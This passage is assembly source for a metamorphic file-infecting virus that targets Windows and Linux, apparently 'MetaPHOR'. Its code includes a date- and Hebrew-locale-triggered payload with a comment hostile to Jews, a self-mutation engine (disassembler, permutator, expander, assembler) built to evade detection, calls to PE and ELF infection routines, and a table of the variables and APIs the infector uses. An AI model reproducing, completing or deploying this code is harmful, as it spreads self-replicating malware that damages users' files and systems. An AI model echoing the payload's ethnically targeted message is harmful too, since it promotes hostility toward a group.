                mov     eax, [ebp+Linux_SecondsCount]
                ;mov     edx, [ebp+_BUFFER1_SECTION]
                ;add     edx, ebp
                xor     esi, esi
                mov     ecx, 2
                mov     ebx, 3CE05380h  ; Seconds for 14 May 2002
       @@LoopCheckDay:
                cmp     eax, ebx
                jb    @@NoPayload
                add     ebx, 15180h     ; Add a day
                cmp     eax, ebx
                jb    @@MakePayload2
                add     ebx, 1E13380h - 15180h ; Get the next year
                add     ecx, 1
                and     ecx, 3
                or      ecx, ecx
                jnz   @@DontAddFeb29th   ; Add a day if year is multiple of 4
                add     ebx, 15180h
       @@DontAddFeb29th:
                inc     esi
                cmp     esi, 20h     ; Up to 32 years (!) (can I expect a sooo
                jbe   @@LoopCheckDay ; long life for this virus? :)
                jmp   @@NoPayload


     @@TryWin32Payload_2:
                mov     eax, [edx+2]
                and     eax, 0FFh
                cmp     eax, 5  ; May
                jnz   @@NoPayload
                mov     eax, [edx+6]
                and     eax, 0FFh
                cmp     eax, 0Eh ; 14th
                jnz   @@NoPayload

                push    eax
                push    ecx
                push    edx
                call    dword ptr [ebp+RVA_GetSystemDefaultLCID]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                and     eax, 0FFFFh
                cmp     eax, 040Dh    ; System language: hebrew?
                jnz   @@NoPayload

     @@MakePayload2:
                push    edx
                mov     eax, 'eerF'
                mov     [edx], eax
                add     edx, 4
                mov     eax, 'laP '
                mov     [edx], eax
                add     edx, 4
                mov     eax, 'itse'
                mov     [edx], eax
                add     edx, 4
                mov     eax, '!en'    ; Show our disconformity with jewish
                mov     [edx], eax    ; invasion of Palestine and all their
                pop     edx           ; fascist acting up to date (in a
                                      ; peaceful way)

                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@Payload2_Win32
                add     edx, 0Fh
                mov     eax, 0Ah
                mov     [edx], eax
                sub     edx, 0Fh
                mov     eax, 4
                push    eax
                mov     eax, 1
                push    eax
                push    edx
                mov     eax, 10h     ; Write the string to stdout
                push    eax
                call    Linux_Syscall
                jmp   @@EndPayload

    @@Payload2_Win32:
                push    eax
                push    ecx
                push    edx
                xor     eax, eax
                push    eax
                mov     eax, edx
                push    eax
                push    eax
                xor     eax, eax
                push    eax
                call    dword ptr [ebp+RVA_MessageBoxA]
                pop     edx
                pop     ecx
                pop     eax

   @@EndPayload:
   @@NoPayload:


;; Now we are going to get random frames for variables, dissasembly, etc. for
;; the next generation usage. These variables must be passed "from the
;; outside" (as parameters from the loader/decryptor).
;;
;; Sizes of frames:
;; CODE_SECTION      =  80000h
;; DISASM_SECTION    = 100000h
;;    LABEL_SECTION     =  10000h +
;;    VARIABLE_SECTION  =  10000h +
;;    BUFFER1_SECTION   =  10000h +
;;    BUFFER2_SECTION   =  10000h +
;;    VAR_MARKS_SECTION =  20000h =
;; BUFFERS_SECTION   =  60000h
;; DATA_SECTION      =  20000h
;; DISASM2_SECTION   = 100000h
;;                 -----------
;;                     300000h
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
;; shifting up to 256 Kb (40000h bytes)

                mov     esi, [ebp+_DISASM_SECTION]
                add     esi, ebp
                xor     eax, eax  ; Let's fabricate a random permutation of
                push    esi       ; the sequence 0,1,2,3,4,5.
      @@LoopGarbleSect_01:
                mov     ebx, eax
                add     eax, 1
                mov     ecx, eax
                add     eax, 1
                mov     edx, eax
                add     eax, 1
                push    eax
                call    Xp_GarbleRegisters ; Garble EBX, ECX and EDX
                pop     eax
                mov     [esi], ebx
                mov     [esi+4], ecx
                mov     [esi+8], edx  ; Store the garbled sequence
                add     esi, 0Ch
                cmp     eax, 6
                jnz   @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)

                pop     esi
                push    esi
                mov     ecx, 2   ; Now garble the <0,1,2> with the <3,4,5>
      @@LoopGarbleSect_02:
                push    ecx
                mov     ebx, [esi]      ; Get value at position 0,2,4 and
                mov     ecx, [esi+08h]  ; garble it
                mov     edx, [esi+10h]
                call    Xp_GarbleRegisters
                mov     [esi], ebx
                mov     [esi+08h], ecx
                mov     [esi+10h], edx  ; Store the shuffling
                pop     ecx
                add     esi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopGarbleSect_02 ; Make it with positions 1,3,5
                pop     esi

                mov     ecx, 6
                xor     edx, edx   ; Initialize adder
      @@LoopGarbleSect_03:
                call    Random
                and     eax, 7FFFh ; *5 = 40000h ; Add a random shifting
                add     edx, eax

                mov     eax, [esi]
                or      eax, eax               ; 0?
                jz    @@GarbleSect_CodeSection ; Then set CODE_SECTION address
                cmp     eax, 1                   ; 1?
                jz    @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
                cmp     eax, 2
                jz    @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
                cmp     eax, 3
                jz    @@GarbleSect_DataSection   ; 3: DATA_SECTION
                cmp     eax, 4
                jnz   @@GarbleSect_Next          ; 4: DISASM2_SECTION
      @@GarbleSect_Disasm2Section:
                mov     [ebp+New_DISASM2_SECTION], edx
                add     edx, 100000h      ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_CodeSection:
                mov     [ebp+New_CODE_SECTION], edx
                add     edx, 80000h       ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_DisasmSection:
                mov     [ebp+New_DISASM_SECTION], edx
                add     edx, 100000h      ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_BuffersSection:
                mov     [ebp+New_BUFFERS_SECTION], edx
                add     edx, 60000h       ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_DataSection:
                mov     [ebp+New_DATA_SECTION], edx
                add     edx, 20000h       ; Add size of section to adder
      @@GarbleSect_Next:
                add     esi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopGarbleSect_03


;; Now we can start with the selfmutation

;; Disassembler:
;;
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
;; that is easier to handle. This pseudoassembler will be used along the
;; mutation instead of the direct machine code.

                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp                    ; Set the address of
                mov     [ebp+InstructionTable], eax ; the instruction table
                mov     eax, [ebp+_LABEL_SECTION]
                add     eax, ebp                    ; Address of the label
                mov     [ebp+LabelTable], eax       ; table
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                    ; Temporary table for the
                mov     [ebp+FutureLabelTable], eax ; storadge of labels
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                    ; Temporary buffer to mark
                mov     [ebp+PathMarksTable], eax   ; the path of the code

                mov     esi, [ebp+_CODE_SECTION]
                add     esi, ebp                ; ESI = Start of code
                call    DisasmCode              ; Disassemble  the code
                nop     ; NOP for debugging: Place for the debugger to put the
                        ; INT 3. It will be eliminated by the disassembler,
                        ; since all the one-byte instructions such CLC, INT 3,
                        ; etc. are NOPed
                ; It returns EDI = Address of last instruction

                mov     [ebp+AddressOfLastInstruction], edi ; Set last instr.


;; Shrinker
;;
;; It compresses all the redundancies and obfuscations that the expander did
;; in previous generations.

                call    ShrinkCode  ; Compress the code

;; Variable identificator:
;;
;; It scans the code to get instructions that use memory addresses and then
;; it converts them to a reference to a table of variables. After this, we
;; reselect the addresses of the variables.

                mov     eax, [ebp+_VARIABLE_SECTION]
                add     eax, ebp                  ; Set the address to the
                mov     [ebp+VariableTable], eax  ; table of variables
                mov     eax, [ebp+_VAR_MARKS_SECTION]
                add     eax, ebp                  ; Set the buffer that marks
                mov     [ebp+VarMarksTable], eax  ; the variables positions
                                                  ; to know if a given address
                                                  ; is already in the table
                                                  ; or it's a free address
                mov     ecx, [ebp+DeltaRegister] ; The delta register is used
                                                 ; to know what is an internal
                                                 ; variable and what's not
                call    IdentifyVariables  ; Identfy them and construct the
                                           ; table of variables

;; Code permutator
;;
;; It shuffles the code and insert jumps between to link the moved blocks,
;; updating also all the labels to point to the new location.

                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp               ; Temporary buffer to construct
                mov     [ebp+FramesTable], eax ; the permutation frames
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                     ; Place where we store
                mov     [ebp+PermutationResult], eax ; the permutated code
                mov     eax, [ebp+_BUFFER2_SECTION]
                add     eax, ebp               ; Buffer to store jumps to fix
                mov     [ebp+JumpsTable], eax  ; while permutating
                call    PermutateCode
                                  ; Permutate the code (in pseudoassembler)

                ; Returns [AddressOfLastInstruction] updated to point to the
                ; last instruction + 10h in [PermutationResult] address
                mov     eax, [ebp+PermutationResult]
                mov     [ebp+InstructionTable], eax ; Set the new instr. table

;; Code expander
;;
;; It generates alternatives for every instruction coded in our pseudo-ASM.
;; It's generated in a way that we only have to code every instruction
;; directly to have a very different look of the previous program, but keeping
;; the functionality unchanged. It also translates all registers into new
;; ones (except ESP, of course).

                xor     eax, eax                   ; Tell the expander that
                mov     [ebp+CreatingADecryptor], eax ; we are mutating the
                                                      ; virus body
                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp              ; Set the destiny address of the
                mov     [ebp+ExpansionResult], eax  ; expansion/obfuscation
                xor     eax, eax                     ; Set the recursivity
                mov     [ebp+SizeOfExpansion], eax   ; to 3 (from 0 to 3)
                call    XpandCode             ; Redo all instructions

                ; Returns [AddressOfLastInstruction] updated

;; Code assembler
;;
;; It assembles the code previously obfuscated and expanded by the expander

                mov     eax, [ebp+ExpansionResult]
                mov     [ebp+InstructionTable], eax  ; _DISASM_SECTION
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                     ; Set the address where
                mov     [ebp+NewAssembledCode], eax  ; the reassembling result
                                                     ; will be stored
                mov     eax, [ebp+_VARIABLE_SECTION]
                add     eax, ebp                     ; Use this address for
                mov     [ebp+NewLabelTable], eax     ; temporary storadge
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                       ; Another buffer for
                mov     [ebp+JumpRelocationTable], eax ; temporary storadge
                call    AssembleCode         ; Convert the code to x86

;; Here we have:
;; [NewAssembledCode] = _DISASM2_SECTION = New code
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
;;   DISASM2_SECTION.

;; Now let's make the action that gives this program the attribute of a
;; computer virus: INFECT

                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp                       ; Code the decryptor
                mov     [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
                add     eax, 80000h
                mov     [ebp+AssembledDecryptor], eax  ; Assemble it here

                mov     eax, [ebp+_BUFFER2_SECTION]
                add     eax, ebp                  ; Temporary buffer for the
                mov     [ebp+FindFileData], eax   ; FindFile functions
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                  ; Buffer for several
                mov     [ebp+OtherBuffers], eax   ; actions
                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@Win32_Infect
                call    Linux_InfectFiles
                jmp   @@FinishExecution
      @@Win32_Infect:
                call    InfectFiles    ; Infect!
      @@FinishExecution:
;                 mov     eax, '!'
;                 call    DebugOutput

      @@Error:
                ret             ; Return to the host and finish
Main            endp

;; Function to get the address of the module passed in ASCII. It will convert
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.

APICall_GetModuleHandle proc
                mov     eax, [ebp+FlagAorW] ; Get A or W
                or      eax, eax            ; A?
                jz    @@UseGMHA             ; Then, use the string as is
                mov     ebx, edx
                add     ebx, 20h    ; Go to the end of the string buffer (W)
                mov     ebx, edx
                add     ecx, 10h    ; Go to the end of the string buffer (A)
    @@LoopConvertToWideChar:
                mov     eax, [ecx]  ; Get a letter
                and     eax, 0FFh   ; Make it zero-extended (in words)
                mov     [ebx], eax  ; Store it
                sub     ecx, 1      ; Decrease the ASCII address in 1
                sub     ebx, 2      ; Decrease the UNICODE address in 2
                cmp     ecx, edx    ; Are we at the end of the buffer
                jnz   @@LoopConvertToWideChar  ; If not, loop again
    @@UseGMHA:  push    edx                     ; Store parameter
                call    dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
                mov     [ebp+ReturnValue], eax  ; Store the module handle
                ret
APICall_GetModuleHandle endp

; EDI = Handle of module
; EDX = Buffer where we have the function name
GetFunction     proc
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, edx  ; We do this to avoid many continuous PUSHes
                push    eax       ; Store function name and module handle
                mov     eax, edi
                push    eax
                call    dword ptr [ebp+RVA_GetProcAddress]  ; Call API
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END
                mov     eax, [ebp+ReturnValue] ; Get the function address
                ret
GetFunction     endp



;; KEYWORD: Key_!VarDeclr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;************************************************************************;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Memory addresses. The variables are internal offsets into the data section,
;; so they are coded in this way. As you can see, all them are EQUs.
;;
;; There are also some equates to make easier the programming, although all
;; the values here are only valid on first generation, due to the fact that
;; they'll recalculated and randomized.
;;
__CODE_SECTION          EQU     000000h
__DISASM_SECTION        EQU     100000h
__BUFFERS_SECTION       EQU     080000h
__LABEL_SECTION         EQU     __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION      EQU     __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION       EQU     __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION       EQU     __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION     EQU     __BUFFERS_SECTION + 40000h
__DATA_SECTION          EQU     0E0000h
__DISASM2_SECTION       EQU     200000h

NumberOfLabels          EQU     __DATA_SECTION + 0000h
NumberOfInstructions    EQU     __DATA_SECTION + 0008h
InstructionTable        EQU     __DATA_SECTION + 0010h
LabelTable              EQU     __DATA_SECTION + 0018h
FutureLabelTable        EQU     __DATA_SECTION + 0020h
PathMarksTable          EQU     __DATA_SECTION + 0028h
NumberOfLabelsPost      EQU     __DATA_SECTION + 0030h
AddressOfLastInstruction EQU    __DATA_SECTION + 0038h
VariableTable           EQU     __DATA_SECTION + 0040h
NumberOfVariables       EQU     __DATA_SECTION + 0048h
FramesTable             EQU     __DATA_SECTION + 0050h
PermutationResult       EQU     __DATA_SECTION + 0058h
JumpsTable              EQU     __DATA_SECTION + 0060h
AddressOfLastFrame      EQU     __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU  __DATA_SECTION + 0070h
MODValue                EQU     __DATA_SECTION + 0078h
NumberOfJumps           EQU     __DATA_SECTION + 0080h
RndSeed1                EQU     __DATA_SECTION + 0088h
RndSeed2                EQU     __DATA_SECTION + 0090h
ExpansionResult         EQU     __DATA_SECTION + 0098h
Register8Bits           EQU     __DATA_SECTION + 00A0h
Xp_Register0            EQU     __DATA_SECTION + 00A8h
Xp_Register1            EQU     __DATA_SECTION + 00B0h
Xp_Register2            EQU     __DATA_SECTION + 00B8h
Xp_Register3            EQU     __DATA_SECTION + 00C0h
Xp_Register4            EQU     __DATA_SECTION + 00C8h
Xp_Register5            EQU     __DATA_SECTION + 00D0h
Xp_Register6            EQU     __DATA_SECTION + 00D8h
Xp_Register7            EQU     __DATA_SECTION + 00E0h
DeltaRegister           EQU     __DATA_SECTION + 00E8h
Xp_8Bits                EQU     __DATA_SECTION + 00F0h
Xp_Operation            EQU     __DATA_SECTION + 00F8h
Xp_Register             EQU     __DATA_SECTION + 0100h
Xp_Mem_Index1           EQU     __DATA_SECTION + 0108h
Xp_Mem_Index2           EQU     __DATA_SECTION + 0110h
Xp_Mem_Addition         EQU     __DATA_SECTION + 0118h
Xp_Immediate            EQU     __DATA_SECTION + 0120h
Xp_SrcRegister          EQU     __DATA_SECTION + 0128h
Xp_FlagRegOrMem         EQU     __DATA_SECTION + 0130h
Xp_RecurseLevel         EQU     __DATA_SECTION + 0138h
Xp_LEAAdditionFlag      EQU     __DATA_SECTION + 0140h
VarMarksTable           EQU     __DATA_SECTION + 0148h
_BUFFERS_SECTION        EQU     __DATA_SECTION + 0150h
_CODE_SECTION           EQU     __DATA_SECTION + 0158h
_DISASM_SECTION         EQU     __DATA_SECTION + 0160h
_LABEL_SECTION          EQU     __DATA_SECTION + 0168h
_VARIABLE_SECTION       EQU     __DATA_SECTION + 0170h
_BUFFER1_SECTION        EQU     __DATA_SECTION + 0178h
_BUFFER2_SECTION        EQU     __DATA_SECTION + 0180h
_VAR_MARKS_SECTION      EQU     __DATA_SECTION + 0188h
_DATA_SECTION           EQU     __DATA_SECTION + 0190h
_DISASM2_SECTION        EQU     __DATA_SECTION + 0198h
New_CODE_SECTION        EQU     __DATA_SECTION + 01A0h
New_DISASM_SECTION      EQU     __DATA_SECTION + 01A8h
New_BUFFERS_SECTION     EQU     __DATA_SECTION + 01B0h
; New_LABEL_SECTION       EQU     __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION    EQU     __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION     EQU     __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION     EQU     __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION   EQU     __DATA_SECTION + 01D0h
New_DATA_SECTION        EQU     __DATA_SECTION + 01D8h
New_DISASM2_SECTION     EQU     __DATA_SECTION + 01E0h
RVA_GetModuleHandle     EQU     __DATA_SECTION + 01E8h
RVA_GetProcAddress      EQU     __DATA_SECTION + 01F0h
FlagAorW                EQU     __DATA_SECTION + 01F8h
ReturnValue             EQU     __DATA_SECTION + 0200h
hKernel                 EQU     __DATA_SECTION + 0208h
hUser32                 EQU     __DATA_SECTION + 0210h
RVA_CreateFileA         EQU     __DATA_SECTION + 0218h
RVA_CreateFileMappingA  EQU     __DATA_SECTION + 0220h
RVA_MapViewOfFile       EQU     __DATA_SECTION + 0228h
RVA_UnmapViewOfFile     EQU     __DATA_SECTION + 0230h
RVA_GetFileSize         EQU     __DATA_SECTION + 0238h
RVA_GetFileAttributesA  EQU     __DATA_SECTION + 0240h
RVA_SetFileAttributesA  EQU     __DATA_SECTION + 0248h
RVA_SetFilePointer      EQU     __DATA_SECTION + 0250h
RVA_SetFileTime         EQU     __DATA_SECTION + 0258h
RVA_SetEndOfFile        EQU     __DATA_SECTION + 0260h
RVA_FindFirstFileA      EQU     __DATA_SECTION + 0268h
RVA_FindNextFileA       EQU     __DATA_SECTION + 0270h
RVA_FindClose           EQU     __DATA_SECTION + 0278h
RVA_CloseHandle         EQU     __DATA_SECTION + 0280h
RVA_MessageBoxA         EQU     __DATA_SECTION + 0288h
NewLabelTable           EQU     __DATA_SECTION + 0290h
Asm_ByteToSort          EQU     __DATA_SECTION + 0298h
JumpRelocationTable     EQU     __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU     __DATA_SECTION + 02A8h
Permut_LastInstruction  EQU     __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU     __DATA_SECTION + 02B8h
hFile                   EQU     __DATA_SECTION + 02C0h
FileSize                EQU     __DATA_SECTION + 02C8h
OriginalFileSize        EQU     __DATA_SECTION + 02D0h
hMapping                EQU     __DATA_SECTION + 02D8h
MappingAddress          EQU     __DATA_SECTION + 02E0h
HeaderAddress           EQU     __DATA_SECTION + 02E8h
StartOfSectionHeaders   EQU     __DATA_SECTION + 02F0h
RelocHeader             EQU     __DATA_SECTION + 02F8h
TextHeader              EQU     __DATA_SECTION + 0300h
DataHeader              EQU     __DATA_SECTION + 0308h
RVA_TextHole            EQU     __DATA_SECTION + 0310h
Phys_TextHole           EQU     __DATA_SECTION + 0318h
TextHoleSize            EQU     __DATA_SECTION + 0320h
RVA_DataHole            EQU     __DATA_SECTION + 0328h
Phys_DataHole           EQU     __DATA_SECTION + 0330h
MakingFirstHole         EQU     __DATA_SECTION + 0338h
ExitProcessAddress      EQU     __DATA_SECTION + 0340h
GetModuleHandleAddress  EQU     __DATA_SECTION + 0348h
GetProcAddressAddress   EQU     __DATA_SECTION + 0350h
VirtualAllocAddress     EQU     __DATA_SECTION + 0358h
GetModuleHandleMode     EQU     __DATA_SECTION + 0360h
VirtualPositionOfVar    EQU     __DATA_SECTION + 0368h
PhysicalPositionOfVar   EQU     __DATA_SECTION + 0370h
Kernel32Imports         EQU     __DATA_SECTION + 0378h
hFindFile               EQU     __DATA_SECTION + 0380h
Addr_FilePath           EQU     __DATA_SECTION + 0388h
FileAttributes          EQU     __DATA_SECTION + 0390h
SizeOfNewCode           EQU     __DATA_SECTION + 0398h
FindFileData            EQU     __DATA_SECTION + 03A0h
OtherBuffers            EQU     __DATA_SECTION + 03A8h
RoundedSizeOfNewCode    EQU     __DATA_SECTION + 03B0h
NewAssembledCode        EQU     __DATA_SECTION + 03B8h
NumberOfUndoActions     EQU     __DATA_SECTION + 03C0h
LastHeader              EQU     __DATA_SECTION + 03C8h
MaxSizeOfDecryptor      EQU     __DATA_SECTION + 03D0h
CreatingADecryptor      EQU     __DATA_SECTION + 03D8h
DecryptorPseudoCode     EQU     __DATA_SECTION + 03E0h
AssembledDecryptor      EQU     __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION  EQU     __DATA_SECTION + 03F0h
SizeOfExpansion         EQU     __DATA_SECTION + 03F8h
SizeOfDecryptor         EQU     __DATA_SECTION + 0400h
TypeOfEncryption        EQU     __DATA_SECTION + 0408h
EncryptionKey           EQU     __DATA_SECTION + 0410h
IndexValue              EQU     __DATA_SECTION + 0418h
IndexRegister           EQU     __DATA_SECTION + 0420h
BufferRegister          EQU     __DATA_SECTION + 0428h
CounterRegister         EQU     __DATA_SECTION + 0430h
BufferValue             EQU     __DATA_SECTION + 0438h
CounterValue            EQU     __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU    __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU   __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU    __DATA_SECTION + 0458h
AdditionToBuffer        EQU     __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register          EQU     __DATA_SECTION + 0470h
Poly_LoopLabel          EQU     __DATA_SECTION + 0478h
RVA_GetSystemTime       EQU     __DATA_SECTION + 0480h
RVA_GetTickCount        EQU     __DATA_SECTION + 0488h
RVA_GetDriveTypeA       EQU     __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU    __DATA_SECTION + 04A0h
StartOfEncryptedData    EQU     __DATA_SECTION + 04A8h
SizeOfNewCodeP2         EQU     __DATA_SECTION + 04B0h
Poly_InitialValue       EQU     __DATA_SECTION + 04B8h
Poly_Addition           EQU     __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU  __DATA_SECTION + 04C8h
DirectoryDeepness       EQU     __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU    __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU    __DATA_SECTION + 04E0h
Weight_X000_3           EQU     __DATA_SECTION + 04E8h
Weight_X004_7           EQU     __DATA_SECTION + 04F0h
Weight_X008_11          EQU     __DATA_SECTION + 04F8h
Weight_X012_15          EQU     __DATA_SECTION + 0500h
Weight_X016_19          EQU     __DATA_SECTION + 0508h
Weight_X020_23          EQU     __DATA_SECTION + 0510h
TrueFirstHole           EQU     __DATA_SECTION + 0518h
LoadLibraryAddress      EQU     __DATA_SECTION + 0520h
LoadLibraryMode         EQU     __DATA_SECTION + 0528h
JMP_ExitProcessAddress  EQU     __DATA_SECTION + 0530h
JMP_GetModuleHandleAddress EQU  __DATA_SECTION + 0538h
JMP_GetProcAddressAddress EQU   __DATA_SECTION + 0540h
JMP_VirtualAllocAddress EQU     __DATA_SECTION + 0548h
EPO_AbsoluteOrRelative  EQU     __DATA_SECTION + 0550h
Poly_EmulateStackFrame  EQU     __DATA_SECTION + 0558h
Poly_BranchLevel        EQU     __DATA_SECTION + 0560h
Poly_MaxBranchLevel     EQU     __DATA_SECTION + 0568h
Poly_Jump_ErrorLabel    EQU     __DATA_SECTION + 0570h
Poly_NumberOfLoopJumps  EQU     __DATA_SECTION + 0578h
Poly_NumberOfBranchLabels EQU   __DATA_SECTION + 0580h
Poly_BranchLabelArray   EQU     __DATA_SECTION + 0588h
Poly_LoopJumps          EQU     __DATA_SECTION + 0590h
Weight_X024_27          EQU     __DATA_SECTION + 0598h
Res_StringWithName      EQU     __DATA_SECTION + 05A0h
Res_LevelOfResource     EQU     __DATA_SECTION + 05B0h
Res_Level1Info          EQU     __DATA_SECTION + 05B8h
Res_Level2Info          EQU     __DATA_SECTION + 05C0h
OperatingSystem         EQU     __DATA_SECTION + 05C8h
InfectOnlyPEs           EQU     __DATA_SECTION + 05D0h
ReturnAddress           EQU     __DATA_SECTION + 05D8h
ELF_Segment1            EQU     __DATA_SECTION + 05E0h
ELF_Segment2            EQU     __DATA_SECTION + 05E8h
LastAllocableSection    EQU     __DATA_SECTION + 05F0h
NumberOfAllocableSection EQU    __DATA_SECTION + 05F8h
shstrtab_section        EQU     __DATA_SECTION + 0600h
SizeOfNewHole           EQU     __DATA_SECTION + 0608h
LengthOfSectionName     EQU     __DATA_SECTION + 0610h
OverVar_AddNameSize     EQU     __DATA_SECTION + 0618h
AddressOf_exit_Function EQU     __DATA_SECTION + 0620h
AddressOf_malloc_Function EQU   __DATA_SECTION + 0628h
dynsym_section          EQU     __DATA_SECTION + 0630h
dynstr_section          EQU     __DATA_SECTION + 0638h
PointInScanBuffer       EQU     __DATA_SECTION + 0640h
SambaFileSystem         EQU     __DATA_SECTION + 0648h
Linux_SecondsCount      EQU     __DATA_SECTION + 0650h


;;
;;
;; End of variables
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Disassembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The disassembler
;; ----------------
;;
;; The disassembler is the module that converts the machine code into our
;; pseudo-assembler in the addresses we gave it.
;;
;; The codification of every instruction of the generated pseudo-assembler
;; is as follows (extracted from the article I wrote about metamorphism and
;; this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; The MetaPHOR internal pseudo-assembler follows the next rules:
;;
;;     a) All the instructions are 16-bytes long (but this can change in the
;;      future to handle 64-bits processors, like the Itanium).
;;
;;     b) The structure of the instruction is always the same for all them:
;;
;;        General structure:
;;
;;        16 bytes per instruction,
;;
;;        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;;        OP *----- instruction data ----* LM *-pointer-*
;;
;;        OP is the opcode of the instruction. Depending on the opcode we use
;;         an instruction data structure or other.
;;
;;        LM is "Label Mark". Its value is 1 when a label is pointing to this
;;         instruction, and can be used for quite things, for example to know
;;         if two instructions can be shrinked or not (they can't if the second
;;         one has a label over it). It's at +0B in the instruction.
;;
;;        The dword at +0C is a pointer that means "last code reference". On
;;        disassembly this means the EIP where this instruction is pointing to
;;        its original codification, but while we are advancing in the code
;;        treatment we store here references to the last situation of the
;;        instruction. This helps to make modifications to the table of labels,
;;        to recode the displacement instructions (JMP, CALL, etc.) and more.
;;
;;
;;       Now the structures that the engine uses in the instructions:
;;
;;        Memory_address_struct:
;;           +01: First index
;;           +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
;;                                                              10=*4,11=*8)
;;           +03: DWORD addition to indexes
;;
;;
;;
;;        Depending on the opcode (the operation to perform), the following
;;        means:
;;
;;        - If operation has no operand (NOP, RET, etc). nothing in the instr.
;;         data is performed
;;
;;        - If operation has one operand:
;;
;;           Register operand:
;;              +01: Register
;;
;;           Memory address:
;;              +01: Memory address struct
;;
;;           Immediate value:
;;              +07: DWORD value, zero extended if it's a byte operation
;;
;;           Destiny address (JMP, CALL, etc.)
;;              +01: Label to jump to (DWORD)
;;
;;        - If operation has two operands:
;;
;;           Reg,Imm:
;;              +01: Register
;;              +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;           Reg,Reg:
;;              +01: Source register
;;              +07: Destiny register
;;
;;           Reg,Mem:
;;              +01: Memory address struct
;;              +07: Destiny register
;;
;;           Mem,Reg:
;;              +01: Memory address struct
;;              +07: Source register
;;
;;           Mem,Imm:
;;              +01: Memory address struct
;;              +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;
;;  From this rules, now we use the next pseudo-opcodes:
;;
;;    00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
;;
;;    Set rules: +00: Reg,Imm
;;               +01: Reg,Reg
;;               +02: Reg,Mem
;;               +03: Mem,Reg
;;               +04: Mem,Imm
;;               +80: 8 bits operation
;;
;;    So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
;;
;;    50: PUSH Reg
;;    51: PUSH Mem
;;    58: POP Reg
;;    59: POP Mem
;;    68: PUSH Imm
;;    70-7F: Conditional jumps
;;    E0: NOT Reg
;;    E1: NOT Mem
;;    E2: NOT Reg8
;;    E3: NOT Mem8
;;    E4: NEG Reg
;;    E5: NEG Mem
;;    E6: NEG Reg8
;;    E7: NEG Mem8
;;    E8: CALL label
